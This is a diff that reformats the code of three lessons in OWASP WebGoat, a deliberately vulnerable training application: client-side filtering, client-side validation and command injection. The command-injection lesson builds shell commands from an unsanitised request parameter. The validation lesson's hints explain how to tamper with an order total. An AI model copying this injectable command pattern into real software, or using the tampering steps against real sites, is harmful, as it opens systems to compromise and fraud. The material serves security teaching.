instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. " instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
+ "You have access to everyone in the company's information, except the CEO, " + "You have access to everyone in the company's information, except the CEO, "
+ "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information." + "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information."
+ " For this exercise, " + " For this exercise, "
+ "examine the contents of the page to see what extra information you can find."; + "examine the contents of the page to see what extra information you can find.";
} else if (getLessonTracker(s).getStage() == 2) { }
else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return " instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return "
+ "results that Moe Stooge is allowed to see."; + "results that Moe Stooge is allowed to see.";
} }
@ -366,7 +377,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@ -392,28 +404,37 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The title value * @return The title value
*/ */
public String getTitle() { public String getTitle()
{
return ("LAB: Client Side Filtering"); return ("LAB: Client Side Filtering");
} }
private String getFileContent(String content) { private String getFileContent(String content)
{
BufferedReader is = null; BufferedReader is = null;
StringBuffer sb = new StringBuffer(); StringBuffer sb = new StringBuffer();
try { try
{
is = new BufferedReader(new FileReader(new File(content))); is = new BufferedReader(new FileReader(new File(content)));
String s = null; String s = null;
while ((s = is.readLine()) != null) { while ((s = is.readLine()) != null)
{
sb.append(s); sb.append(s);
} }
} catch (Exception e) { } catch (Exception e)
{
e.printStackTrace(); e.printStackTrace();
} finally { } finally
if (is != null) { {
try { if (is != null)
{
try
{
is.close(); is.close();
} catch (IOException ioe) { } catch (IOException ioe)
{
} }
} }
@ -422,7 +443,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
return sb.toString(); return sb.toString();
} }
public Element getCredits() { public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }

276
main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -21,7 +21,9 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
public class ClientSideValidation extends SequentialLessonAdapter {
public class ClientSideValidation extends SequentialLessonAdapter
{
/** /**
* Description of the Method * Description of the Method
@ -31,26 +33,32 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private boolean stage1FirstVisit = true; private boolean stage1FirstVisit = true;
private boolean stage2FirstVisit = true; private boolean stage2FirstVisit = true;
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) { protected Element doStage1(WebSession s)
{
return evalStage1(s); return evalStage1(s);
} }
protected Element doStage2(WebSession s) { protected Element doStage2(WebSession s)
{
return stage2Content(s); return stage2Content(s);
} }
protected Element evalStage1(WebSession s) { protected Element evalStage1(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -58,12 +66,10 @@ public class ClientSideValidation extends SequentialLessonAdapter {
// test success // test success
if (param1.equalsIgnoreCase("platinum") if (param1.equalsIgnoreCase("platinum") || param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("silver")
|| param1.equalsIgnoreCase("gold") || param1.equalsIgnoreCase("bronze") || param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("silver") || param1.equalsIgnoreCase("presstwo"))
|| param1.equalsIgnoreCase("bronze") {
|| param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("presstwo")) {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
// s.resetHintCount(); // s.resetHintCount();
s.setMessage("Stage 1 completed."); s.setMessage("Stage 1 completed.");
@ -71,8 +77,11 @@ public class ClientSideValidation extends SequentialLessonAdapter {
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} else { }
if (!stage1FirstVisit) { else
{
if (!stage1FirstVisit)
{
s.setMessage("Keep looking for the coupon code."); s.setMessage("Keep looking for the coupon code.");
} }
stage1FirstVisit = false; stage1FirstVisit = false;
@ -84,21 +93,18 @@ public class ClientSideValidation extends SequentialLessonAdapter {
} }
protected Element stage1Content(WebSession s)
protected Element stage1Content(WebSession s) { {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script()
.setSrc("javascript/clientSideValidation.js"));
ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1() ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
.addElement("Shopping Cart")));
ec.addElement(createQtyTable(s)); ec.addElement(createQtyTable(s));
@ -106,27 +112,26 @@ public class ClientSideValidation extends SequentialLessonAdapter {
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} catch (Exception e)
{
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element stage2Content(WebSession s) { protected Element stage2Content(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script() ec.addElement(new Script().setSrc("javascript/clientSideValidation.js"));
.setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1() ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart")));
.addElement("Shopping Cart")));
ec.addElement(createQtyTable(s)); ec.addElement(createQtyTable(s));
@ -136,62 +141,63 @@ public class ClientSideValidation extends SequentialLessonAdapter {
// test success // test success
float grandTotal = s.getParser() float grandTotal = s.getParser().getFloatParameter("GRANDTOT", 0.0f);
.getFloatParameter("GRANDTOT", 0.0f);
if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) { if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit)
{
makeSuccess(s); makeSuccess(s);
} else { }
else
{
if (!stage2FirstVisit) { if (!stage2FirstVisit)
{
s.setMessage("Your order isn't free yet."); s.setMessage("Your order isn't free yet.");
} }
stage2FirstVisit = false; stage2FirstVisit = false;
} }
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected ElementContainer createTotalTable(WebSession s) { protected ElementContainer createTotalTable(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", ""); String param1 = s.getParser().getRawParameter("field1", "");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter( String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
"field2", "4128 3214 0002 1999"));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) { if (s.isColor())
{
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Total before coupon is applied:"));
.addElement("Total before coupon is applied:"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "SUBTOT", s.getParser() new Input(Input.TEXT, "SUBTOT", s.getParser().getStringParameter("SUBTOT",
.getStringParameter("SUBTOT", "0")).setReadOnly(true)) "0"))
.setAlign("right")); .setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Total to be charged to your credit card:"));
.addElement("Total to be charged to your credit card:"));
tr.addElement(new TD() tr.addElement(new TD().addElement(
.addElement(
new Input(Input.TEXT, "GRANDTOT", s.getParser() new Input(Input.TEXT, "GRANDTOT", s.getParser()
.getStringParameter("GRANDTOT", "0")) .getStringParameter("GRANDTOT", "0")).setReadOnly(true))
.setReadOnly(true)).setAlign("right")); .setAlign("right"));
t.addElement(tr); t.addElement(tr);
t.addElement(tr); t.addElement(tr);
@ -201,8 +207,7 @@ public class ClientSideValidation extends SequentialLessonAdapter {
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:")); tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
param2)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Enter your coupon code:")); tr.addElement(new TD().addElement("Enter your coupon code:"));
@ -222,7 +227,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
} }
protected int getTotalQty(WebSession s) { protected int getTotalQty(WebSession s)
{
int quantity = 0; int quantity = 0;
@ -234,36 +240,33 @@ public class ClientSideValidation extends SequentialLessonAdapter {
return quantity; return quantity;
} }
protected ElementContainer createQtyTable(WebSession s) { protected ElementContainer createQtyTable(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1) Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) { if (s.isColor())
{
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now") tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%"));
.setWidth("70%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("10%")); tr.addElement(new TH().addElement("Quantity").setWidth("10%"));
tr.addElement(new TH().addElement("Total").setWidth("10%")); tr.addElement(new TH().addElement("Total").setWidth("10%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter( new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1",
"PRC1", "69.99")).setSize(10).setReadOnly(true)).setAlign("right")); "69.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
Input input = new Input(Input.TEXT, "QTY1", s.getParser() Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0"));
.getStringParameter("QTY1", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setOnLoad("updateTotals();"); input.setOnLoad("updateTotals();");
@ -271,84 +274,78 @@ public class ClientSideValidation extends SequentialLessonAdapter {
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD()
new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter( .addElement(
"TOT1", "0")).setSize(10).setReadOnly(true)).setAlign("right")); new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter( new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2",
"PRC2", "27.99")).setSize(10).setReadOnly(true)).setAlign("right")); "27.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter( input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0"));
"QTY2", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD()
new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter( .addElement(
"TOT2", "0")).setSize(10).setReadOnly(true)).setAlign("right")); new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2", "0")).setSize(10)
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter(
"PRC3", "1599.99")).setSize(10).setReadOnly(true))
.setAlign("right"));
input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter(
"QTY3", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter(
"TOT3", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr
.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC4", s.getParser()
.getStringParameter("PRC4", "299.99")).setSize(10)
.setReadOnly(true)).setAlign("right")); .setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter( t.addElement(tr);
"QTY4", "0")); tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3",
"1599.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0"));
input.setOnKeyUp("updateTotals();"); input.setOnKeyUp("updateTotals();");
input.setSize(10); input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right")); tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD()
.addElement(
new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter( new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4",
"TOT4", "0")).setSize(10).setReadOnly(true)).setAlign("right")); "299.99"))
.setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD()
.addElement(
new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4", "0")).setSize(10)
.setReadOnly(true)).setAlign("right"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
return ec; return ec;
} }
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
@ -358,27 +355,21 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Use Firebug to examine the JavaScript."); hints.add("Use Firebug to examine the JavaScript.");
hints.add("Using Firebug, you can add breakpoints in the JavaScript."); hints.add("Using Firebug, you can add breakpoints in the JavaScript.");
hints.add("Use Firebug to find the array of encrypted coupon codes, and " + hints.add("Use Firebug to find the array of encrypted coupon codes, and "
"step through the JavaScript to see the decrypted values."); + "step through the JavaScript to see the decrypted values.");
hints.add("You can use Firebug to inspect (and modify) the HTML."); hints.add("You can use Firebug to inspect (and modify) the HTML.");
hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " + hints.add("Use Firebug to remove the 'readonly' attribute from the input next to "
"'The total charged to your credit card:' and set the value to 0."); + "'The total charged to your credit card:' and set the value to 0.");
return hints; return hints;
@ -389,13 +380,16 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) { public String getInstructions(WebSession s)
{
String instructions = ""; String instructions = "";
if (getLessonTracker(s).getStage() == 1) { if (getLessonTracker(s).getStage() == 1)
{
instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount."; instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount.";
} }
else if (getLessonTracker(s).getStage() == 2) { else if (getLessonTracker(s).getStage() == 2)
{
instructions = "STAGE 2:\tNow, try to get your entire order for free."; instructions = "STAGE 2:\tNow, try to get your entire order for free.";
} }
return (instructions); return (instructions);
@ -403,7 +397,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
@ -412,7 +407,8 @@ public class ClientSideValidation extends SequentialLessonAdapter {
* *
* @return The title value * @return The title value
*/ */
public String getTitle() { public String getTitle()
{
return "Insecure Client Storage"; return "Insecure Client Storage";
} }

164
main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.File; import java.io.File;
@ -5,7 +6,6 @@ import java.util.ArrayList;
import java.util.Arrays; import java.util.Arrays;
import java.util.List; import java.util.List;
import java.util.StringTokenizer; import java.util.StringTokenizer;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -17,32 +17,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec; import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults; import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -55,11 +54,11 @@ public class CommandInjection extends LessonAdapter
private String osName = System.getProperty("os.name"); private String osName = System.getProperty("os.name");
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -68,8 +67,7 @@ public class CommandInjection extends LessonAdapter
boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
try try
{ {
String helpFile = s.getParser().getRawParameter(HELP_FILE, String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help");
"BasicAuthentication.help");
if (getWebgoatContext().isDefuseOSCommands() if (getWebgoatContext().isDefuseOSCommands()
&& (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1)) && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
{ {
@ -80,47 +78,31 @@ public class CommandInjection extends LessonAdapter
} }
index = index + 1; index = index + 1;
int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote
System.out.println("Command = [" System.out.println("Command = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]");
+ helpFile.substring(index, helpFileLen).trim() if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase()
.toLowerCase() + "]"); .equals("netstat -a")
if ((osName.indexOf("Windows") != -1 && (helpFile.substring( || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir")
index, helpFileLen).trim().toLowerCase().equals( || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls")
"netstat -a") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile
|| helpFile.substring(index, helpFileLen).trim() .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig")))
.toLowerCase().equals("dir") || (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #")
|| helpFile.substring(index, helpFileLen).trim() || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #")
.toLowerCase().equals("ls") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #")
|| helpFile.substring(index, helpFileLen).trim() || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #")
.toLowerCase().equals("ifconfig") || helpFile || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile
.substring(index, helpFileLen).trim().toLowerCase() .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #")))
.equals("ipconfig")))
|| (helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("netstat -a #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("dir #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("ls #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("ls -l #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals(
"ifconfig #") || helpFile
.substring(index, helpFileLen).trim()
.toLowerCase().equals("ipconfig #")))
{ {
illegalCommand = false; illegalCommand = false;
} }
else else
{ {
s s.setMessage("It appears that you are on the right track. "
.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. " + "Commands that may compromise the operating system have been disabled. "
+ "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig"); + "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig");
} }
} }
if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1)
&& helpFile.indexOf(';') == -1)
{ {
if (helpFile.length() > 0) if (helpFile.length() > 0)
{ {
@ -132,8 +114,7 @@ public class CommandInjection extends LessonAdapter
} }
else else
{ {
s s.setMessage("It appears that you are on the right track. "
.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. " + "Commands that may compromise the operating system have been disabled. "
+ "This lesson is a command injection lesson, not access control."); + "This lesson is a command injection lesson, not access control.");
} }
@ -146,11 +127,9 @@ public class CommandInjection extends LessonAdapter
} }
File safeDir = new File(s.getContext().getRealPath("/lesson_plans")); File safeDir = new File(s.getContext().getRealPath("/lesson_plans"));
ec ec.addElement(new StringElement("You are currently viewing: <b>"
.addElement(new StringElement( + (helpFile.toString().length() == 0 ? "&lt;select file from list below&gt;" : helpFile.toString())
"You are currently viewing: <b>" + "</b>"));
+ (helpFile.toString().length() == 0 ? "&lt;select file from list below&gt;"
: helpFile.toString()) + "</b>"));
if (!illegalCommand) if (!illegalCommand)
{ {
@ -160,30 +139,22 @@ public class CommandInjection extends LessonAdapter
if (osName.indexOf("Windows") != -1) if (osName.indexOf("Windows") != -1)
{ {
// Add quotes around the filename to avoid having special characters in DOS filenames // Add quotes around the filename to avoid having special characters in DOS
results = exec(s, "cmd.exe /c dir /b \"" // filenames
+ safeDir.getPath() + "\""); results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
fileData = exec(s, "cmd.exe /c type \"" fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
+ new File(safeDir, helpFile).getPath() + "\"");
} }
else else
{ {
String[] cmd1 = { "/bin/sh", "-c", String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" };
"ls \"" + safeDir.getPath() + "\"" };
results = exec(s, cmd1); results = exec(s, cmd1);
String[] cmd2 = { String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" };
"/bin/sh",
"-c",
"cat \"" + new File(safeDir, helpFile).getPath()
+ "\"" };
fileData = exec(s, cmd2); fileData = exec(s, cmd2);
} }
ec.addElement(new P() ec.addElement(new P().addElement("Select the lesson plan to view: "));
.addElement("Select the lesson plan to view: ")); ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html",
ec.addElement(ECSFactory.makePulldown(HELP_FILE,
parseResults(results.replaceAll("(?s)\\.html",
"\\.help")))); "\\.help"))));
// ec.addElement( results ); // ec.addElement( results );
Element b = ECSFactory.makeButton("View"); Element b = ECSFactory.makeButton("View");
@ -192,15 +163,12 @@ public class CommandInjection extends LessonAdapter
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new StringElement(fileData.replaceAll( ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
System.getProperty("line.separator"), "<br>") .replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll( .replaceAll("<br>\\s<br>", "<br>")));
"<br><br>", "<br>").replaceAll("<br>\\s<br>",
"<br>")));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -209,7 +177,6 @@ public class CommandInjection extends LessonAdapter
return (ec); return (ec);
} }
private String parseResults(String results) private String parseResults(String results)
{ {
results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", ""); results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
@ -229,7 +196,6 @@ public class CommandInjection extends LessonAdapter
return modified.toString(); return modified.toString();
} }
public static int upDirCount(String fileName) public static int upDirCount(String fileName)
{ {
int count = 0; int count = 0;
@ -246,20 +212,20 @@ public class CommandInjection extends LessonAdapter
return count; return count;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param command Description of the Parameter * @param command
* @param s Description of the Parameter * Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private String exec(WebSession s, String command) private String exec(WebSession s, String command)
{ {
